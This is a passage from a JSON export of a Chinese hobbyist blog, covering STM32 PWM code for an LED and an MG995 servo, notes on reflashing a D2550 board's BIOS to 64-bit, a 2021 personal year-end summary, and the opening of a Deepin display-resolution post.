number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 初始化,启动 TIM3 通道1的 PWM 模式 \u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_TIM_PWM_Start\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehtim3\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eTIM_CHANNEL_1\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//PA6\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 变强状态\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eld1_dir \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e ld1_duty \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token number\"\u003e20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 变弱状态\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eld1_dir \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e ld1_duty \u003cspan class=\"token operator\"\u003e-=\u003c/span\u003e \u003cspan class=\"token number\"\u003e20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 由强变弱\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eld1_duty \u003cspan class=\"token operator\"\u003e\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e500\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e ld1_dir \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 由弱变强\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eld1_duty \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e ld1_dir \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 使用库函数改变 TIM3 通道1 PWM 的占空比\u003c/span\u003e \u003cspan class=\"token function\"\u003e__HAL_TIM_SetCompare\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehtim3\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eTIM_CHANNEL_1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eld1_duty\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//延时\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e50\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"大概效果\"\u003e\u003ca href=\"#大概效果\" class=\"headerlink\" title=\"大概效果\"\u003e\u003c/a\u003e大概效果\u003c/h4\u003e\u003cp\u003e\u003cimg src=\"/img/posts/mg995/1.gif\" alt=\"1\"\u003e\u003c/p\u003e\u003ch3 id=\"驱动MG995舵机\"\u003e\u003ca href=\"#驱动MG995舵机\" class=\"headerlink\" title=\"驱动MG995舵机\"\u003e\u003c/a\u003e驱动MG995舵机\u003c/h3\u003e\u003cp\u003e这玩意具体参数可以去参考的博客去看\u003c/p\u003e\u003ch4 id=\"控制原理\"\u003e\u003ca href=\"#控制原理\" class=\"headerlink\" title=\"控制原理\"\u003e\u003c/a\u003e控制原理\u003c/h4\u003e\u003cp\u003e舵机的控制一般需要一个20ms的时基脉冲,该脉冲的高电平部分一般为0.5ms~2.5ms范围内的角度控制脉冲部分。以180度角度舵机为例,那么对应的控制关系是这样的:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e0.5ms————–0度;\u003cbr\u003e1.0ms————45度;\u003cbr\u003e1.5ms————90度;\u003cbr\u003e2.0ms———–135度;\u003cbr\u003e2.5ms———–180度;\u003c/p\u003e\u003c/blockquote\u003e\u003cimg src=\"https://img-blog.csdn.net/20180129143043496?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvaGVfX3l1YW4=\" style=\"zoom:67%;\" /\u003e\u003cp\u003e既然前面已经配置好时钟了,可以直接写代码了\u003c/p\u003e\u003cp\u003e调上面的角度转换成对应高电平部分\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e// 对应角度 0 45 90 135 180\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e deg\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e启动 TIM3 通道1的 PWM 模式\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eHAL_TIM_PWM_Start\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehtim3\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eTIM_CHANNEL_1\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//PA6\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e所以主函数为\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"token function\"\u003emain\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 省了略各种初始化函数\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e deg\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 初始化,启动 TIM3 通道1的 PWM 模式\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_TIM_PWM_Start\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehtim3\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eTIM_CHANNEL_1\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//PA6\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 先正转,再反转\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e++\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 更新CCR1值,直接用寄存器操作\u003c/span\u003e TIM3 \u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003e CCR1 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e deg\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 延时,等舵机转过去\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e--\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e TIM3 \u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003e CCR1 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e deg\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"转动效果\"\u003e\u003ca href=\"#转动效果\" class=\"headerlink\" title=\"转动效果\"\u003e\u003c/a\u003e转动效果\u003c/h4\u003e\u003cp\u003e对了如果发现不转记得检查一下供电,最好插上电源线再测试。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/posts/mg995/2.gif\" alt=\"2\"\u003e\u003c/p\u003e","url":"https://blog.ksfu.top/posts/cac5/"},{"title":"D2550刷64位BIOS记录","time":"2022-05-01T17:20:28Z","content":"\u003ch1 id=\"D2550-刷64位BIOS记录\"\u003e\u003ca href=\"#D2550-刷64位BIOS记录\" class=\"headerlink\" title=\"D2550 刷64位BIOS记录\"\u003e\u003c/a\u003eD2550 刷64位BIOS记录\u003c/h1\u003e\u003cp\u003e早知道,还是软路由 \u003cspa\u003chr /\u003e\u003ch1 id=\"D2550-刷64位BIOS记录\"\u003e\u003ca href=\"#D2550-刷64位BIOS记录\" class=\"headerlink\" title=\"D2550 刷64位BIOS记录\"\u003e\u003c/a\u003eD2550 刷64位BIOS记录\u003c/h1\u003e\u003cp\u003e早知道,还是软路由 \u003cspan class=\"ava_datou\"\u003e\u003c/span\u003e\u003c/p\u003e\u003ch3 id=\"参考链接\"\u003e\u003ca href=\"#参考链接\" class=\"headerlink\" title=\"参考链接\"\u003e\u003c/a\u003e参考链接\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.bilibili.com/video/BV1x441147zn?spm_id_from=333.880.my_history.page.click\"\u003e芯片级硬解64位系统限制!免费帮助网友解除d2550主板64位系统限制!刷bios轻松解决_哔哩哔哩_bilibili\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://yiniot.com/archives/48/\"\u003e编程夹刷写魔改BIOS ZTE CT320(D2550 cpu)支持64位系统 - 算云烟 (yiniot.com)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"0x00\"\u003e\u003ca href=\"#0x00\" class=\"headerlink\" title=\"0x00\"\u003e\u003c/a\u003e0x00\u003c/h3\u003e\u003cp\u003e目前的网络使用 k2p + N1 使用,比较碰巧这几天有个学弟在出 x86 软路由,就顺手收了过来\u003c/p\u003e\u003cp\u003eU 是 D2550 ,内存 ddr3 2G ,刚好垃圾之前捡的比较多(因为我刚进校的本子是 ddr3 内存),挑了一根4g 的顺便升级一下,至于硬盘多大,已经不重要了…… \u003cdel\u003e(因为后面我线接错给烧了)\u003c/del\u003e\u003c/p\u003e\u003cimg src=\"/img/posts/d2550/2.webp\" alt=\"2\" style=\"zoom: 33%;\" /\u003e\u003ch3 id=\"0x01\"\u003e\u003ca href=\"#0x01\" class=\"headerlink\" title=\"0x01\"\u003e\u003c/a\u003e0x01\u003c/h3\u003e\u003cp\u003e拿到手头试了试,速度还不错\u003cspan class=\"diana_bixin\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cimg src=\"/img/posts/d2550/6.png\" alt=\"6\" style=\"zoom: 67%;\" /\u003e\u003cp\u003e然后想顺便在 docker 里装一个 clash 顺便把我 N1 的活也代替了,但是安装的时候提示不支持……查了一下发现因为这玩意是32 位 BIOS ,但是我不晓得我这是个啥板子……看了点相关博客,决定赌一个 \u003ccode\u003e占美、实达D2550-64BIOS\u003c/code\u003e ,借了个编程器,开始我第一次刷这玩意\u003c/p\u003e\u003ch3 id=\"0x02\"\u003e\u003ca href=\"#0x02\" class=\"headerlink\" title=\"0x02\"\u003e\u003c/a\u003e0x02\u003c/h3\u003e\u003cp\u003e先把主板拆出来,发现他的 BIOS 芯片在散热旁边,用夹子夹好一直识别不成功……于是决定拆下来,但是散热器挡着得先拆散热,就想着顺便把硅脂也换了。属于是歪打正着,这玩意硅脂已经硬的离谱了,我清理了半天才下来……\u003c/p\u003e\u003cp\u003e拆下来就这小玩意\u003c/p\u003e\u003cimg src=\"/img/posts/d2550/3.jpg\" alt=\"3\" style=\"zoom:50%;\" /\u003e\u003cp\u003e整之前电脑上先把该装的 \u003cstrong\u003e驱动\u003c/strong\u003e 装了。\u003c/p\u003e\u003cp\u003e夹到夹子用 CH341A 识别挺快,先把原来的 BIOS 读取出来备份,然后按教程里的选 BIOS 刷入,但是我这一直报错\u003c/p\u003e\u003cimg src=\"/img/posts/d2550/4.jpg\" alt=\"4\" style=\"zoom: 80%;\" /\u003e\u003cp\u003e试了好多次还是寄,我以为是夹子的锅,又把这玩意焊到了编程器了,但还是寄。\u003cspan class=\"diana_bengbuzhule\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e经过一番搜索,找到了大概原因是因为有的这玩意有保护,换用 \u003cstrong\u003e\u003ccode\u003eAsProgrammer\u003c/code\u003e\u003c/strong\u003e 刷入,非常顺利\u003c/p\u003e\u003cp\u003e最后开机查看BIOS,屏幕轻松点亮\u003c/p\u003e\u003cimg src=\"/img/posts/d2550/5.webp\" alt=\"5\" style=\"zoom: 33%;\" /\u003e\u003ch3 id=\"一点小状况\"\u003e\u003ca href=\"#一点小状况\" class=\"headerlink\" title=\"一点小状况\"\u003e\u003c/a\u003e一点小状况\u003c/h3\u003e\u003cp\u003e)为什么莫得硬盘呢……纠结了半天最后发现是把电源线接错地方了\u003c/p\u003e\u003cp\u003e然后赶紧换了过来,好家伙一插上就关机……\u003c/p\u003e\u003cp\u003e烧咯……\u003cspan class=\"diana_qiaoda\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e\u003cdel\u003e画了60买了新盘,血亏\u003c/del\u003e\u003c/p\u003e\u003chr\u003e\u003cp\u003e寄,买来硬盘要注意电源线的线序啊,差点又给我烧了。但是线坏了,又得花钱买线了……\u003c/p\u003e","url":"https://blog.ksfu.top/posts/1eaf/"},{"title":"2021_Summary","time":"2021-12-31T06:53:41Z","content":"\u003ch1 id=\"2021-年终总结\"\u003e\u003ca href=\"#2021-年终总结\" class=\"headerlink\" title=\"2021 年终总结\"\u003e\u003c/a\u003e2021 年终总结\u003c/h1\u003e\u003cp\u003e妈耶,一年这就结束了 ~ \u003c/p\u003e\n\u003cp\u003e今年过的算是不错,因为比较躺平所以也很容易\u003chr /\u003e\u003ch1 id=\"2021-年终总结\"\u003e\u003ca href=\"#2021-年终总结\" class=\"headerlink\" title=\"2021 年终总结\"\u003e\u003c/a\u003e2021 年终总结\u003c/h1\u003e\u003cp\u003e妈耶,一年这就结束了 ~ \u003c/p\u003e\u003cp\u003e今年过的算是不错,因为比较躺平所以也很容易满足~ \u003cdel\u003e(躺到写年终总结一时间不知道要写啥\u003c/del\u003e\u003c/p\u003e\u003cp\u003e学业方面差强人意?大一结束成绩没有很拉跨,得以在分流于后几名勉强进入通信工程专业。但是作为大类招生第一年的实验品,分流后这一学期学校课程安排的可以说非常拉跨,各种实验各种冲突各种大作业\u003cdel\u003ewdnmd\u003c/del\u003e。但好在还有一点自强不息的意识,身体挺好能熬夜,终于到了这学期结束。不过课程虽然拉跨但还是有合自己胃口的,单片机点亮个灯还是有意思的……不过大多数课真的是能混就混,然后天天早八对我这阴间作息的人来说属实离谱\u003cdel\u003e(怎么会是呢\u003c/del\u003e……\u003c/p\u003e\u003cp\u003e虽然没有太管得住嘴\u003cdel\u003e(还有缺德群友半夜发美食(我自己也发啊那没事了\u003c/del\u003e,但是腿倒是迈开了,每个月书院有一个5km马拉松的小活动,都参加了~虽然跑的挺慢\u003cdel\u003e(基本垫底)\u003c/del\u003e 但能跑下来还整挺好。体测虽然1km还差了几秒,但是过了 ~ 3km的成绩也在及格线里面了。体重只能说挺稳定……(不过这几天因为疫情只能待在宿舍,所以\u003cdel\u003e(xjb找理由就对了\u003c/del\u003e…… 身体健康!\u003cdel\u003e(20岁,四肢健全,大小便正常,下雨知道往家跑,一天可吃三顿饭,健康码绿色,未来可期!)\u003c/del\u003e\u003c/p\u003e\u003cdiv align=center\u003e \u003cimg src=\"/img/posts/2021Summary/1.png\" alt=\"1\" style=\"zoom:70%;\" /\u003e\u003c/div\u003e\u003chr\u003e\u003cp\u003e今年又认识了很多人\u003cdel\u003e(水群越来越勤快了)\u003c/del\u003e,又是被大伙继续关照的一年~也是兴趣爱好和技能继续扩展的一年。因为有大佬带飞,学到了挺多没接触过的东西。现在虽然没有学的很深入,但对于自己的一些想法总能曲曲折折找到一些实现的法子\u003cdel\u003e(让我也体验了一把收获的喜悦)\u003c/del\u003e。在交通群了解到了很多火车知识,顺便看时刻表发现平凉站一天十几趟车只有一趟不是25G……为了运转双层火车,将返校的车票分为两程,结果因为暴雨影响,第一趟车原路折返,改签之后遇到火车改道,在车上困了1天\u003cdel\u003e(一个难忘的国庆假期)\u003c/del\u003e。校庆纪念信封的发行,让我对集邮又有了更多的认识,顺便寄了不少纪念封给同学\u003cdel\u003e(邮政现在挺快哦\u003c/del\u003e。\u003c/p\u003e\u003cp\u003e暑假上海之行,因为疫情影响,火车接二连三被取消……不过到达之后属实大开眼界,各种高架,地铁站十几个出口balabalabala……不过因为建设的比较早,大多数地铁还是挺旧,有的还没报站\u003cdel\u003e(或者是我没发现?\u003c/del\u003e,跑起来挺颠簸。参观了几个公司\u003cdel\u003e(微软园区真不错)\u003c/del\u003e,逛了南京路,看了东方明珠塔,黄浦江漫步,晚上组团上网吧\u003cdel\u003e(交大周围环境真好)\u003c/del\u003e……吃的挺好,就是贵是真贵。然后因为疫情也没有活动很大范围。地方确实挺好,魔都哦~不过回去之后给我健康码变黄了……还好核酸之后打电话给我变回来了。\u003c/p\u003e\u003cdiv align=center\u003e \u003cimg src=\"/img/posts/2021Summary/2.jpeg\" alt=\"1641069033334\" style=\"zoom: 50%;text-align: center;margin: 0 auto;\" /\u003e\u003c/div\u003e\u003chr\u003e\u003cp\u003e大伙都一个一个脱单了,真不错 ~ 然后今年寡了一年\u003cdel\u003e(女生也没认识几个emm\u003c/del\u003e,人也是一如既往的怂\u003cdel\u003e(?\u003c/del\u003e。水群水的的飞起,底下尬聊还是尬聊。祝大伙脱单的长长久久 ~ \u003cdel\u003e没脱单的看看我(男桐不要)\u003c/del\u003e\u003c/p\u003e\u003cp\u003e一年就这么没心没肺下来了 ~ 今年感谢大伙!然后新年继续努力,多水几篇博客,好好学习\u003cdel\u003e吧?\u003c/del\u003e脚踏实地,继续深入学习学习技能。坚持跑步\u003cdel\u003e(减肥\u003c/del\u003e。多找几本书看看,今年好像没看多少书emm\u003cdel\u003e(写个年终中总结都憋不出来几句骚话)\u003c/del\u003e。多看几部电影,多看几部纪录片,多看几场演唱会 ~ 继续维持和大伙的关系,多多联系 ~ 女朋友尽量尽量尽量找\u003cdel\u003e(万一呢)\u003c/del\u003e。少整点阴间作息。情绪少波动一点,虽然说不要想太多,但还是喜欢乱想\u003cdel\u003e(果然还是闲的\u003c/del\u003e。虽说难免走入低谷,还是希望新年能够平稳一些 ~ \u003c/p\u003e\u003cp\u003e\u003cem\u003e♫后知后觉,又过了一个秋~\u003c/em\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e祝大伙新年快乐,踔厉奋发,笃行不怠!愿疫情早日过去!祝福国泰民安!\u003c/strong\u003e\u003c/p\u003e\u003cdiv align=center\u003e \u003cimg src=\"https://i.loli.net/2021/04/18/OQWE5NkgnGXdD2C.jpg\" style=\"zoom: 83%;text-align: center;margin: 0 auto;\" /\u003e\u003c/div\u003e","url":"https://blog.ksfu.top/2021-Summary/"},{"title":"Deepin新增分辨率","time":"2021-10-09T14:04:03Z","content":"\u003ch1 id=\"Deepin-新增屏幕分辨率\"\u003e\u003ca href=\"#Deepin-新增屏幕分辨率\" class=\"headerlink\" title=\"Deepin 新增屏幕分辨率\"\u003e\u003c/a\u003eDeepin 新增屏幕分辨率\u003c/h1\u003e\u003cp\u003e因为最近同学送了半台 ThinkPad ,于\u003chr /\u003e\u003ch1 id=\"Deepin-新增屏幕分辨率\"\u003e\u003ca href=\"#Deepin-新增屏幕分辨率\" class=\"headerlink\" 